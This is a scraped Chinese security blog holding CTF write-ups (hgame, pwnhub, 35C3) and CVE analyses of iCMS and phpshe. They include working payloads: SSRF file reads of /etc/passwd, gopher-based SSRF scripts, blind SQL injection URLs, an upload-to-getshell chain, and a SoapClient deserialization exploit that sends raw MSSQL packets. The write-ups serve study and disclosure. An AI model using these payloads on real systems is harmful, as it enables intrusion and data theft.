得到flag PHP Is The Best Language Url : http://118.25.89.91:8888 简单的代码审计 123456789101112131415161718192021222324252627282930313233<?php include 'secret.php'; #echo $flag; #echo $secret; if (empty($_POST['gate']) || empty($_POST['key'])) { highlight_file(__FILE__); exit; } if (isset($_POST['door'])){ $secret = hash_hmac('sha256', $_POST['door'], $secret); } $gate = hash_hmac('sha256', $_POST['key'], $secret); if ($gate !== $_POST['gate']) { echo \"Hacker GetOut!!\"; exit; } if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { echo \"Wow!!!\"; echo \"</br>\"; echo $flag; } else { echo \"Hacker GetOut!!\"; } ?> 未知的参数$secret,如果我们可控secret,那就很容易构造出payload 注意到 1$secret = hash_hmac('sha256', $_POST['door'], $secret); 我们可以通过控制 door 参数为一个数组 ,使得hash_hmac函数返回一个false给secret。 若secret为false,那么就可以通过控制key的值来控制gate的值。 再看到 1((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) 需要找到一个满足条件的key,写一个简单的脚本爆破一下 1234567<?phpfor($i=1;$i<999999999;$i++){ if ((md5($i)+1) == (md5(md5($i)))+1) { echo $i; break;}}?> 得到key=12。那么gate为12的SHA256加密。 最终构造一个POST包发送 123456789import requestsa='http://118.25.89.91:8888/flag.php'd={ 'gate':'4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf', 'key':'12', 'door[]':'2'}r=requests.post(url=a,data=d)print r.content 得到flag Wow!!!</br>hgame{Php_MayBe_Not_Safe} Baby_Spider Url : http://111.231.140.29:10000/ 考验爬虫编写能力的题目。 1-10 关正常的爬虫 抓取网页内容就可以了 需要加上UA头来爬,否则在第十关的时候会返回关机指令。 11-20 关使用了一个很骚的反爬虫机制,更换了css中的字体。 使得浏览器显示的数字与content中的数字不同。 将字体下载下来,找到一一对应关系,写一个替换规则就好了。 可以看到1在浏览器上显示的是0,3在浏览器上显示的是6,以此类推。 21-30 关使用after伪元素做了替换,这里直接抓取一下css中真实的算式就可以了。 直接贴上python3代码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869# -*- coding: UTF-8 -*-import requestsimport reheader={ \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36\"}token={ 'token':'jrTzcktwyzG5bRoT5Qb6Vf558RCtuMEn'}list='1026943587'url='http://111.231.140.29:10000/'url1='http://111.231.140.29:10000/question'url2='http://111.231.140.29:10000/solution'url3='http://111.231.140.29:10000/statics/style.css'res = '<span>(.*?)='r=requests.post(url=url,data=token)session=r.cookiesprint(\"[*] \"+\"-\"*40)for i in range(0,10): math = re.findall(res, r.content.decode('utf-8')) math = str(math)[2:len(math) - 3] print('[+] %d :'%i + math) math = eval(math) result = { 'answer': math } r=requests.post(url=url2,data=result,cookies=session,headers=header) session = r.cookies print(\"[*] \" + \"-\" * 40)tmp=''for i in range(10,20): math = re.findall(res, r.content.decode('utf-8')) math = str(math)[2:len(math) - 3] for j in math: if ord(j) > 47: tmp += list[int(j)] else: tmp += j math = tmp tmp = '' print('[+] %d :' % i + math) answer = (eval(math)) result = { 'answer': answer } r = requests.post(url=url2, data=result, cookies=session, headers=header) session = r.cookies print(\"[*] \" + \"-\" * 40)res = 'content:\"(.*?)='for i in range(20,30): css = requests.get(url=url3, cookies=session, headers=header) math = re.findall(res, css.content.decode('utf-8')) math = str(math)[2:len(math) - 3] print('[+] %d :' % i + math) answer = (eval(math)) result = { 'answer': answer } r = requests.post(url=url2, data=result, cookies=session, headers=header) session=r.cookies print(\"[*] \" + \"-\" * 40) if \"hgame\" in r.content.decode('utf-8'): print(r.content.decode('utf-8')) Math 有趣 url :http://test.tan90.me:8080/index.php 看到题目的图片地址 http://test.tan90.me:8080/img/cXVlc3Rpb24ucG5n.php 文件名奇奇怪怪的,对cXVlc3Rpb24ucG5n解base64得到question.png 显然可以读取文件。 http://test.tan90.me:8080/img/1.php 随手一试发现了报错页面,看到了class的内容。 那么尝试通过构造文件来读取关键class内容 ../../../../../../../../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class 读到MathController.class 120123852^x % 612799081 = 6181254136845 % 612799081 The flag is hgame{x}.x is a decimal number. 是一道数学题啊,脚本爆破一下。 123456i=1while(i): if pow(123852,i,612799081)==562605879: print i break i+=1 得到i=15387368 则flag为 hgame{15387368}","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"pwnhub_pinkfriend","slug":"pwnhub-pinkfriend","date":"2019-01-31T13:15:24.000Z","updated":"2019-02-07T13:33:52.705Z","comments":true,"path":"2019/01/31/pwnhub-pinkfriend/","link":"","permalink":"http://altman.vip/2019/01/31/pwnhub-pinkfriend/","excerpt":"题目描述What is Peppa Pig? 参赛时间:2019.01.28 20:00 - 2019.01.30 20:00 参与人数:72 想知道胖哥特制的佩奇里有什么秘密吗?快来一起玩耍吧!祝大家新春快乐,“猪”事顺意!","text":"题目描述What is Peppa Pig? 参赛时间:2019.01.28 20:00 - 2019.01.30 20:00 参与人数:72 想知道胖哥特制的佩奇里有什么秘密吗?快来一起玩耍吧!祝大家新春快乐,“猪”事顺意! 解题过程SSRF题目简单粗暴给了一个ssrf的跳板 1234567891011121314<?phpshow_source(__FILE__);if(isset($_GET['url'])){ $url = parse_url($_GET['url']); if(!$url){ die('Can not parse url: '.$_GET['url']); } $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $_GET['url']); curl_exec($ch); curl_close($ch);}?> 读文件尝试读一下文件/?url=file:///etc/passwd,成功读到。 读一些nginx的配置文件和日志文件 123/etc/nginx/nginx.conf/var/log/nginx/access.log;/var/log/nginx/error.log 刚开始还能读到日志,后面就读不到了。 在配置文件里看到flag字样 123456789101112# Virtual Host Configs##include /etc/nginx/conf.d/*.conf;include /etc/nginx/sites-enabled/*;#server {# listen 8080# location /flag {# proxy_pass 172.20.0.3:8080# }#} 在内网的172.20.0.3:8080 访问内网http协议访问内网 https://40.73.33.181/?url=http://172.20.0.3:8080 返回了几个乱码,用脚本接收下 1'\\x00\\x00\\x12\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x80\\x00\\x04\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\xff\\xff\\xff\\x00\\x00\\x04\\x08\\x00\\x00\\x00\\x00\\x00\\x7f\\xff\\x00\\x00\\x00\\x00\\x08\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01' 一脸懵逼,里面有很多00,也不像是flag的某种加密。 再分析一下返回包。 12345* Connection state changed (MAX_CONCURRENT_STREAMS updated)!< HTTP/2 200< server: nginx/1.14.0 (Ubuntu)< date: Sat, 02 Feb 2019 14:52:51 GMT< content-type: text/html; charset=UTF-8 看到了它采用的是HTTP2协议。 HTTP2因为ssrf没有http2的协议可以利用,所以用gopher打http2。 学自 f1sh 师傅 先构造一个http2的请求包。 监听端口 1nc -lv 8000>1.txt 通过curl协议发送一个http2的请求。 1curl --http2-prior-knowledge http://127.0.0.1:8000 通过goper协议把数据发出 12345import requestsurl='https://40.73.33.181/?url=gopher://172.20.0.3:8080/_'url=url+'%25%35%30%25%35%32%25%34%39%25%32%30%25%32%61%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%32%25%32%65%25%33%30%25%30%64%25%30%61%25%30%64%25%30%61%25%35%33%25%34%64%25%30%64%25%30%61%25%30%64%25%30%61%25%30%30%25%30%30%25%31%32%25%30%34%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%33%25%30%30%25%30%30%25%30%30%25%36%34%25%30%30%25%30%34%25%34%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%32%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%34%25%30%38%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%33%66%25%66%66%25%30%30%25%30%31%25%30%30%25%30%30%25%31%65%25%30%31%25%30%35%25%30%30%25%30%30%25%30%30%25%30%31%25%38%32%25%38%34%25%38%36%25%34%31%25%38%61%25%30%38%25%39%64%25%35%63%25%30%62%25%38%31%25%37%30%25%64%63%25%31%33%25%32%63%25%62%33%25%37%61%25%38%38%25%32%35%25%62%36%25%35%30%25%63%33%25%61%62%25%62%36%25%64%32%25%65%30%25%35%33%25%30%33%25%32%61%25%32%66%25%32%61%25%32%37'r=requests.get(url=url,verify = False)print r.content 收到的数据也是经过HTTP2编码的。 建立一个http2服务将收到的数据发出来 12345678910111213import socketa = open(\"/Users/a1tm4nz/Desktop/2.txt\", \"r\").read()s = socket.socket()host = '127.0.0.1'port = 2333s.bind((host, port))s.listen(5)while True: c, addr = s.accept() print '连接地址:', addr c.send(a)","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"CVE-2019-7160","slug":"CVE-2019-7160","date":"2019-01-30T11:24:39.000Z","updated":"2019-01-31T02:16:14.676Z","comments":true,"path":"2019/01/30/CVE-2019-7160/","link":"","permalink":"http://altman.vip/2019/01/30/CVE-2019-7160/","excerpt":"前言审计iCMS 7.0.13的时候发现一天前刚刚爆出了一个新的CVE,CVE-2019-7160后台getshell漏洞。 于是跟进分析一下这个漏洞。 实验环境:osx+apache2+php7+mysql5.7icms官网:https://www.icmsdev.com/","text":"前言审计iCMS 7.0.13的时候发现一天前刚刚爆出了一个新的CVE,CVE-2019-7160后台getshell漏洞。 于是跟进分析一下这个漏洞。 实验环境:osx+apache2+php7+mysql5.7icms官网:https://www.icmsdev.com/ 漏洞分析大致流程此漏洞需要先登录后台,利用do_IO()上传ZIP文件至根目录,再利用do_local_app()对ZIP文件进行解压生成shell文件。 上传文件首先定位到do_IO() 12345678910111213141516171819public function do_IO(){ files::$watermark_enable = $_GET['watermark']; $udir = iSecurity::escapeStr($_GET['udir']); $name = iSecurity::escapeStr($_GET['name']); $ext = iSecurity::escapeStr($_GET['ext']); iFS::check_ext($ext,0) OR iUI::json(array('state'=>'ERROR','msg'=>'不允许的文件类型')); iFS::$ERROR_TYPE = true; $F = iFS::IO($name,$udir,$ext); $F ===false && iUI::json(iFS::$ERROR); iUI::json(array( \"value\" => $F[\"path\"], \"url\" => iFS::fp($F['path'],'+http'), \"fid\" => $F[\"fid\"], \"fileType\" => $F[\"ext\"], \"image\" => in_array($F[\"ext\"],files::$IMG_EXT)?1:0, \"original\" => $F[\"oname\"], \"state\" => ($F['code']?'SUCCESS':$F['state']) )); } 它处理通过流数据上传的文件,并且我们可控路径(udir),文件名(name),文件类型(ext)。 继续跟进$F = iFS::IO($name,$udir,$ext);,定位到IFS类中的IO函数 12345678910111213141516171819202122232425262728public static function IO($FileName = '', $udir = '', $FileExt = 'jpg',$type='3',$filedata=null) { $filedata===null && $filedata = file_get_contents('php://input'); if (empty($filedata)) { return false; } $fileMd5 = md5($filedata); $FileName OR $FileName = $fileMd5; $FileSize = strlen($filedata); $FileExt = self::valid_ext($FileName . \".\" . $FileExt); //判断文件类型 if ($FileExt === false) { return false; } list($RootPath, $FileDir) = self::mk_udir($udir,$fileMd5,$FileExt); // 文件保存目录方式 $FilePath = $FileDir . $FileName . \".\" . $FileExt; $FileRootPath = $RootPath . $FileName . \".\" . $FileExt; self::write($FileRootPath, $filedata); $fid = self::insert_filedata(array($FileName,'',$FileDir,'',$FileExt,$FileSize), $type); self::hook('upload',array($FileRootPath,$FileExt)); $value = array( 1,$fid,$fileMd5,$FileSize, '',$FileName,$FileName.\".\".$FileExt, $FileDir,$FileExt, $FileRootPath,$FilePath,$RootPath ); return self::_data($value); } 这个函数以php://input读取数据,之后通过mk_udir函数创建文件存储路径。 我们可以通过控制udir和name两个变量使文件存放在任意位置。 例如 1/icms/admincp.php?app=files&do=IO&frame=iPHP&ext=zip&udir=../&name=../app/test&watermark=fals 此时会在app目录下生成一个test.zip 解压文件 利用后台的安装本地应用功能。 定位到do_local_app() 123456789101112public function do_local_app(){ $zipfile = trim($_POST['zipfile']); echo $zipfile; if(preg_match(\"/^iCMS\\.APP\\.(\\w+)\\-v\\d+\\.\\d+\\.\\d+\\.zip$/\", $zipfile,$match)){ apps_store::$zip_file = iPATH.$zipfile; apps_store::$msg_mode = 'alert'; apps_store::install_app($match[1]); iUI::success('应用安装完成','js:1'); }else{ iUI::alert('What the fuck!!'); } } 首先会接受一个POST的数据包,如果符合正则匹配则进入install_app(),否则输出What the fuck!!。 跟进install_app()函数 1234567public static function install_app($app=null) { self::$success = false; $archive_files = self::setup_zip(); $msg = null; //安装应用数据 $setup_msg = self::setup_app_data($archive_files,$app); 看到set_zip(),跟进一下 12345678910111213141516171819public static function setup_zip() { $zip_file = self::$zip_file; if(!file_exists($zip_file)){ return self::msg(\"安装包不存在\",false); } iPHP::vendor('PclZip'); $zip = new PclZip($zip_file); if (false == ($archive_files = $zip->extract(PCLZIP_OPT_EXTRACT_AS_STRING))) { iFS::rm($zip_file); return self::msg(\"ZIP包错误\",false); } if (0 == count($archive_files)) { iFS::rm($zip_file); return self::msg(\"空的ZIP文件\",false); } return $archive_files; } 看到对文件进行解压操作,这就足够利用了。 再回到do_local_app()函数入,构造一个符合正则的文件名例如 1iCMS.APP.1-v1.1.1.zip GETSHELL只要成功解压我们上传的ZIP文件,释放出php文件即可GETSHELL。 POC构造文件利用phpinfo()测试,把php文件压缩成一个ZIP 上传发包上传文件,构造name和udir使得文件上传至根目录。 解压 getshell","categories":[],"tags":[]},{"title":"CVE-2019-6707 CVE-2019-6708分析","slug":"phpshe1-7-sqlinjection","date":"2019-01-27T04:48:29.000Z","updated":"2019-01-28T12:58:25.776Z","comments":true,"path":"2019/01/27/phpshe1-7-sqlinjection/","link":"","permalink":"http://altman.vip/2019/01/27/phpshe1-7-sqlinjection/","excerpt":"前言phpshe最新1.7版本的后台sql注入分析。 官网:http://www.phpshe.com/","text":"前言phpshe最新1.7版本的后台sql注入分析。 官网:http://www.phpshe.com/ 实验环境 CVE-2019-6707在后台批量上下架操作中存在注入。 我们先根据路由查看源码,抓包拿到操作的路径 1POST /phpshe/admin.php?mod=product&act=state&state=1&token=c04c2e7a55d84759c0e09eb54b16fccf 定位admin.php:86 12345if (in_array(\"{$mod}.php\", pe_dirlist(\"{$pe['path_root']}module/{$module}/*.php\"))) { include(\"{$pe['path_root']}module/{$module}/{$mod}.php\");}pe_result();?> 此时引入了admin模型中的product.php 在switch中找到state分支 12345678910case 'state': pe_token_match(); $product_id = is_array($_p_product_id) ? $_p_product_id : $_g_id; if ($db->pe_update('product', array('product_id'=>$product_id), array('product_state'=>$_g_state))) { pe_success(\"操作成功!\"); } else { pe_error(\"操作失败...\"); }break; 如果提交的pproduct_id是一个数组的话会直接进入db->pe_update操作中。没有任何过滤防护措施。 继续跟进db->pe_update,在db.class.php:226 12345678public function pe_update($table, $where, $set){ //处理设置语句 $sqlset = $this->_doset($set); //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_update(\"update `\".dbpre.\"{$table}` {$sqlset} {$sqlwhere}\"); } pe_update会将参数抛向sql_update,继续跟进一下, 12345678public function sql_update($sql){ if ($this->query($sql) == true) { $result = $this->affected_rows();//affected_rows()是获取insert/update/delete结果集条数。 return $result == 0 ? true : $result; } return 0; } 此时我们从product_id传上的数据会被直接拼接在语句中执行。 构造一个POST包进行测试,由于没有回显,我们进行延时 成功延时,网站对传入的product_id没有过滤处理造成了时间盲注。 之后继续审计发现 1234567891011case 'tuijian': pe_token_match(); foreach ($_p_product_id as $v) { $result = $db->pe_update('product', array('product_id'=>$v), array('product_istuijian'=>$_g_tuijian)); } if ($result) { pe_success(\"操作成功!\"); } else { pe_error(\"操作失败...\"); } 不仅 state 分支,tuijian order move分支均没有对$product_id进行处理。 均存在注入点 CVE-2019-6708在管理页面订单处 定位到order.php 这里依旧采取了一个语句的拼接 然后sql_where进入pe_selectall方法 继续跟进pe_selectall方法 123456public function pe_selectall($table, $where = '', $field = '*', $limit_page = array()){ //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_selectall(\"select {$field} from `\".dbpre.\"{$table}` {$sqlwhere}\", $limit_page);} 看到此方法依然没有对语句的过滤处理就直接执行。 回到后台页面,进入订单页面。 之后进入wsend分支 1http://127.0.0.1/phpshe/admin.php?mod=order&state=wsend 在state处进行注入 成功延时。可进行时间盲注。 如果wsend分支中有订单存在,同样可以进行bool盲注。 见下面两图 我们对比user.php和admin.php中对订单查询的处理 user.php多了一层对gstate的过滤,admin.php则没有这个操作。 继续审计发现在order_pay页面中,同样没有对gstate进行过滤就直接拼接。 同样存在注入,payload如下 1http://127.0.0.1/phpshe/admin.php?mod=order_pay&state=wpay%27and%201=1%20--%201","categories":[],"tags":[]},{"title":"35C3_POST_wp","slug":"35C3-CTF-wp","date":"2019-01-15T07:44:16.000Z","updated":"2019-01-18T14:37:30.160Z","comments":true,"path":"2019/01/15/35C3-CTF-wp/","link":"","permalink":"http://altman.vip/2019/01/15/35C3-CTF-wp/","excerpt":"35c3正赛可真是比Junior难多了 POST题目描述1234567Go make some posts.Hint: flag is in dbHint2: the lovely XSS is part of the beautiful design and insignificant for the challengeHint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.","text":"35c3正赛可真是比Junior难多了 POST题目描述1234567Go make some posts.Hint: flag is in dbHint2: the lovely XSS is part of the beautiful design and insignificant for the challengeHint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly. 获取源码随便注册账号然后登陆,没有什么进展。 尝试xss成功弹窗,但是看到hint2 ——insignificant for the challenge 用刚安装的扫描工具扫一波 注意到 12[16:22:32] 403 - 580B - /uploads[16:22:32] 403 - 580B - /uploads/ 两种路径都是403,再结合题目是nginx。 尝试 1http://35.207.83.242/uploads../ 果然配置错误导致上层目录跳转任意文件下载。 拿下来源码 1wget -m http://35.207.83.242/uploads../ 里面有nginx的配置文件,发现错误配置 location /uploads { #应该写成 /uploads/ autoindex on; alias /var/www/uploads/; }攻击思路根据hint1提示要打数据库,但是审计后发现注入是不可能了。 只能另寻路线了。 在db.php中发现 12345678910private static function retrieve_values($res) { $result = array(); while ($row = sqlsrv_fetch_array($res)) { $result[] = array_map(function($x){ return preg_match('/^\\$serializedobject\\$/i', $x) ? unserialize(substr($x, 18)) : $x; }, $row); } return $result;} 看到了发序列化的希望,立刻想到一条攻击线路 反序列化SoapClient进行SSRF,然后利用gopher打数据库。数据库的账号密码都给出来了,这条线路好像可行。 源码审计先跟进可以反序列化的retrieve_values函数 在query函数中调用了它 12345678910public static function query($sql, $values=array()) { if (!is_array($values)) $values = array($values); if (!DB::$init) DB::initialize(); $res = sqlsrv_query(DB::$con, $sql, $values); if ($res === false) DB::error(); return DB::retrieve_values($res); } 再看插入方法 123456789public static function insert($sql, $values=array()) { if (!is_array($values)) $values = array($values); if (!DB::$init) DB::initialize(); $values = DB::prepare_params($values); $x = sqlsrv_query(DB::$con, $sql, $values); if (!$x) throw new Exception; } 这里对values进行了prepare_params操作,跟进prepare_params 1234567891011121314private static function prepare_params($params) { return array_map(function($x){ if (is_object($x) or is_array($x)) { return '$serializedobject$' . serialize($x); } if (preg_match('/^\\$serializedobject\\$/i', $x)) { die(\"invalid data\"); return \"\"; } return $x; }, $params); } 插入语句的条件和进行反序列化的条件显然是矛盾的。 这里需要用到一个mssql的小trick。 1mssql会将全角unicode转换为ascii码的形式 例如℮( 0xE284AE),将它录入mssql时会自动转换为e(0x65)。 这样就可以构造数据进行绕过了。 尝试SSRF进行ssrf前还需要解决一个问题,如何触发SoapClient的__call()。 在Attachment类中发现了一个变量za,在__toString中对它有如下操作 12345678public function __toString() { $str = \"<a href='{$this->url}'>\".basename($this->url).\"</a> ($this->mime \"; if (!is_null($this->za)) { $this->za->open(\"../\".$this->url); $str .= \"with \".$this->za->numFiles . \" Files.\"; } return $str. \")\"; } 如果我们把za赋值为一个SoapClient类,因为SoapClient类中不存在open方法,那么就可以调用到__call方法实现ssrf。 这样又出现一个问题,怎么调用到Attachment的__toString()。 在defalut页面 1234567891011$posts = Post::loadall(); if (empty($posts)) { echo \"<b>You do not have any posts. Create <a href=\\\"/?action=create\\\">some</a>!</b>\"; } else { echo \"<b>You have \" . count($posts) .\" posts. Create <a href=\\\"/?action=create\\\">some</a> more if you want! Or <a href=\\\"/?action=restart\\\">restart your blog</a>.</b>\"; } foreach($posts as $p) { echo $p; echo \"<br><br>\"; } echo操作会触发Post类的__tostring(),跟进一下 12345678910public function __toString() { $str = \"<h2>{$this->title}</h2>\"; $str .= $this->content; $str .= \"<hr>Attachments:<br><il>\"; foreach ($this->attachment as $attach) { $str .= \"<li>$attach</li>\"; } $str .= \"</il>\"; return $str; } 如果content是SoapClient类,那么他会触发SoapClient的__tostring()。 到此为止SSRF的攻击链已经完成了 序列化构造 12345678910<?phpclass Attachment { private $za; public function __construct() { $this->za = new SoapClient(null,array('location'=>ip,'uri'=>ip)); }}$a=new Attachment();$a=serialize($a);echo $a; payload 1$serializedobject$O:10:\"Attachment\":1:{s:14:\"Attachmentza\";O:10:\"SoapClient\":3:{s:3:\"uri\";s:21:\"http://localhost:2333\";s:8:\"location\";s:21:\"http://localhost:2333\";s:13:\"_soap_version\";i:1;}} miniProxy绕过 nginx 设置了只接受GET,而Soap发出的是POST请求。 但是SoapClientl的_user_agent属性存在CRLF注入,通过\\n\\n再注入一个GET请求。 而mimiProxy设置只能接受http/https的请求,但是通过如下代码 12345$responseURL = $responseInfo[\"url\"];if ($responseURL !== $url) { header(\"Location: \" . PROXY_PREFIX . $responseURL, true); exit(0);} 可以构造恶意代码重定向到gopher请求中去。 gopher打MSSQL虽然没有回显,但是可以修改数据库中值,我们可以把我们上传的content改成数据库中的flag的值 。 构造mssql数据包执行如下语句 1INSERT INTO posts (userid, content, title, attachment) VALUES (1, (select flag from flag.flag), \"123\", \"123\");-- - 末尾是为了注释掉gopher 自动添加的内容。 然后在default访问时加入 debug:1 得到UID 安装mssql再抓流量很麻烦,直接使用官方的exploit.php 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980<?php// the prelogin and login packets can either be assembled// by hand if you are into that kind of stuff.// or you can just use wireshark :)$prelogin_packet = \"\\x12\\x01\\x00\\x2f\\x00\\x00\\x01\\x00\";$prelogin_packet .= \"\\x00\\x00\\x1a\\x00\\x06\\x01\\x00\\x20\";$prelogin_packet .= \"\\x00\\x01\\x02\\x00\\x21\\x00\\x01\\x03\";$prelogin_packet .= \"\\x00\\x22\\x00\\x04\\x04\\x00\\x26\\x00\";$prelogin_packet .= \"\\x01\\xff\\x00\\x00\\x00\\x01\\x00\\x01\";$prelogin_packet .= \"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\";$login_packet = \"\\x10\\x01\\x00\\xde\\x00\\x00\\x01\\x00\";$login_packet .= \"\\xd6\\x00\\x00\\x00\\x04\\x00\\x00\\x74\";$login_packet .= \"\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\";$login_packet .= \"\\x54\\x30\\x00\\x00\\x00\\x00\\x00\\x00\";$login_packet .= \"\\xe0\\x00\\x00\\x08\\xc4\\xff\\xff\\xff\";$login_packet .= \"\\x09\\x04\\x00\\x00\\x5e\\x00\\x07\\x00\";$login_packet .= \"\\x6c\\x00\\x0a\\x00\\x80\\x00\\x08\\x00\";$login_packet .= \"\\x90\\x00\\x0a\\x00\\xa4\\x00\\x09\\x00\";$login_packet .= \"\\xb6\\x00\\x00\\x00\\xb6\\x00\\x07\\x00\";$login_packet .= \"\\xc4\\x00\\x00\\x00\\xc4\\x00\\x09\\x00\";$login_packet .= \"\\x01\\x02\\x03\\x04\\x05\\x06\\xd6\\x00\";$login_packet .= \"\\x00\\x00\\xd6\\x00\\x00\\x00\\xd6\\x00\";$login_packet .= \"\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\x00\";$login_packet .= \"\\x77\\x00\\x65\\x00\\x73\\x00\\x6f\\x00\";$login_packet .= \"\\x6d\\x00\\x65\\x00\\x63\\x00\\x68\\x00\";$login_packet .= \"\\x61\\x00\\x6c\\x00\\x6c\\x00\\x65\\x00\";$login_packet .= \"\\x6e\\x00\\x67\\x00\\x65\\x00\\x72\\x00\";$login_packet .= \"\\xc1\\xa5\\x53\\xa5\\x53\\xa5\\x83\\xa5\";$login_packet .= \"\\xb3\\xa5\\x82\\xa5\\xb6\\xa5\\xb7\\xa5\";$login_packet .= \"\\x6e\\x00\\x6f\\x00\\x64\\x00\\x65\\x00\";$login_packet .= \"\\x2d\\x00\\x6d\\x00\\x73\\x00\\x73\\x00\";$login_packet .= \"\\x71\\x00\\x6c\\x00\\x6c\\x00\\x6f\\x00\";$login_packet .= \"\\x63\\x00\\x61\\x00\\x6c\\x00\\x68\\x00\";$login_packet .= \"\\x6f\\x00\\x73\\x00\\x74\\x00\\x54\\x00\";$login_packet .= \"\\x65\\x00\\x64\\x00\\x69\\x00\\x6f\\x00\";$login_packet .= \"\\x75\\x00\\x73\\x00\\x63\\x00\\x68\\x00\";$login_packet .= \"\\x61\\x00\\x6c\\x00\\x6c\\x00\\x65\\x00\";$login_packet .= \"\\x6e\\x00\\x67\\x00\\x65\\x00\";// need to add a ;-- - to execute the query successfully,// because gopher adds a \\x0d\\x0a to the end of the request// and for some reaason the query does not execute if we don't// comment that out$query = $argv[1] . \";-- -\";$query = mb_convert_encoding($query, \"utf-16le\");// the length of the packet is the length of the query +// the length of the header (30 bytes) + the \\x0d\\x0a added// by gopher protocol$length = strlen($query) + 30 + 2;$query_packet = \"\\x01\\x01\" . pack(\"n\", $length) . \"\\x00\\x00\\x01\\x00\";$query_packet .= \"\\x16\\x00\\x00\\x00\\x12\\x00\\x00\\x00\";$query_packet .= \"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\";$query_packet .= \"\\x00\\x00\\x01\\x00\\x00\\x00\";$query_packet .= $query;$payload = $prelogin_packet . $login_packet . $query_packet;// we want to deserialize an Attachment, since the application// will make a call on the \"za\" property ($this->za->open(...))class Attachment { public function __construct($za) { $this->za = $za; }}// We use a SoapClient to make arbitrary HTTP calls. There is a// proxy running on localhost which we can use to redirect the HTTP// request to a gopher request (which we will then use to connect to // MSSQL).// However, the proxy only accepts GET requests and SoapClient generates// POST requests only. Luckily, the _user_agent property is vulnerable to // CRLF injection and we can do a request splitting by injecting two// new lines and then our GET payload.class BoapClient { public $uri = \"http://localhost:8080/miniProxy.php\"; public $location = \"http://localhost:8080/miniProxy.php\"; public $_user_agent = NULL; public function __construct() { global $payload; $this->_user_agent = \"AAAAAHaha\\n\\nGET /miniProxy.php?gopher:///db:1433/A\".str_replace(\"+\",\"%20\",urlencode($payload)).\" HTTP/1.1\\nHost: localhost\\n\\n\";}}$a = new Attachment(new BoapClient);echo base64_encode(\"\\$serializedobject\\xef\\xbc\\x84\".str_replace(\"BoapClient\", \"SoapClient\", serialize($a))); 拿flag将恶意数据直接上传,然后刷新主页得到flag","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"35c3_JuniorCTF_wp","slug":"35c3-wp","date":"2019-01-15T00:55:18.000Z","updated":"2019-01-15T07:37:07.884Z","comments":true,"path":"2019/01/15/35c3-wp/","link":"","permalink":"http://altman.vip/2019/01/15/35c3-wp/","excerpt":"Junior - web部分题目关了环境就没做了。","text":"Junior - web部分题目关了环境就没做了。 blind源码看过去应该是个反序列化 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<?php function __autoload($cls) { include $cls; } class Black { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set(\"highlight.string\", \"#0d0d0d\"); if ($default) ini_set(\"highlight.default\", \"#0d0d0d\"); if ($keyword) ini_set(\"highlight.keyword\", \"#0d0d0d\"); if ($store) { setcookie('theme', \"Black-\".$string.\"-\".$default.\"-\".$keyword, 0, '/'); } } } class Green { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set(\"highlight.string\", \"#00fb00\"); if ($default) ini_set(\"highlight.default\", \"#00fb00\"); if ($keyword) ini_set(\"highlight.keyword\", \"#00fb00\"); if ($store) { setcookie('theme', \"Green-\".$string.\"-\".$default.\"-\".$keyword, 0, '/'); } } } if ($_=@$_GET['theme']) { if (in_array($_, [\"Black\", \"Green\"])) { if (@class_exists($_)) { ($string = @$_GET['string']) || $string = false; ($default = @$_GET['default']) || $default = false; ($keyword = @$_GET['keyword']) || $keyword = false; new $_($string, $default, $keyword, @$_GET['store']); } } } else if ($_=@$_COOKIE['theme']) { $args = explode('-', $_); if (class_exists($args[0])) { new $args[0]($args[1], $args[2], $args[3], ''); } } else if ($_=@$_GET['info']) { phpinfo(); } highlight_file(__FILE__); Black和Green类好像都什么用。 注意到 1new $args[0]($args[1], $args[2], $args[3], ''); 这里args完全可控。 同时在phpinfo()中看到simplexml开启。 那么尝试blind xxe。结果直接报错抛出了值。 colliderpdf文件的MD5碰撞 先看源码 123456789101112131415161718192021<?php include_once \"config.php\"; if(isset($_POST['submit'])) { $pdf1 = $_FILES['pdf1']['tmp_name']; $pdf2 = $_FILES['pdf2']['tmp_name']; if(! strstr(shell_exec(\"pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'\"), \"NO FLAG!\")) { die(\"The first pdf does not contain 'NO FLAG!'\"); } if(! strstr(shell_exec(\"pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'\"), \"GIVE FLAG!\")) { die(\"The second pdf does not contain 'GIVE FLAG!'\"); } if(md5_file($pdf1) != md5_file($pdf2)) { die(\"The MD5 hashes 